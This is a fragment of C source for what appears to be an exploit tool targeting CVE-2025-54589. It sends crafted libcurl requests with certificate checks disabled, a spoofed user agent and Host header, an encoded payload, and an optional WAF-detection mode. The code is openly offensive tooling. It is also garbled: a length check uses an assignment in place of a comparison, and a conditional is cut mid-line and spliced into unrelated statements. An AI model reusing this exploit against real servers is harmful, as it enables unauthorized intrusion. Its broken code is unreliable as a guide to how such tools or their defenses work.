CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); sleepSyscall(); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); struct curl_slist *headers = NULL; headers = curl_slist_append(headers, "Accept-Language: en-US,en"); headers = curl_slist_append(headers, "Connection: keep-alive"); char r[130]; int lenR = snprintf(r, sizeof(r), "Referer: %s", url); if (lenR = sizeof(r)) { printf("\e[1;31m[-] Len Header Referer Is long !\e[0m\n"); clean(response.buffer,response.len, curl, encodePayload); exitAssembly(); } headers = curl_slist_append(headers, r); headers = curl_slist_append(headers, "Cache-Control: no-cache"); headers = curl_slist_append(headers, "Content-Type: application/x_222-form-urlencoded"); if (y == 0) { char host[230]; int lenHo = snprintf(host , sizeof(host), "Host: %s",ip); headers = curl_slist_append(headers, host); } headers = curl_slist_append(headers, "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); res = curl_easy_perform(curl); curl_slist_free_all(headers); free(response.buffer); response.buffer = NULL; response.len = 0; time_t start = clock(); if (res == CURLE_OK) { long httpCode = 0; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); printf("\e[1;31m--------------------------------------------------------------------------------------------------------\n"); printf("\e[1;36m[+] Request sent successfully\e[0m\n"); if (response.buffer) { printf("\e[1;34m\n======================================== [RESPONSE] ========================================\e[0m\n"); printf("%s\n", response.buffer); printf("\e[1;34m==============================================================================================\e[0m\n"); } else { printf("\e[1;31m[-] Response Is NULL !\e[0m\n"); } if (httpCode >= 200 && httpCode \n"); curl_global_cleanup(); exitAssembly(); }; printf("---------------------------------------------------------------------\n\n"); printf("[+] Start Exploit (CVE-2025-54589)...\n"); uid(); if (cookies) { useC = 1; } if (verbose) { verbose = 1; } if (w) { wafD(url); } else { httpRequest(url); } curl_global_cleanup(); return 0; }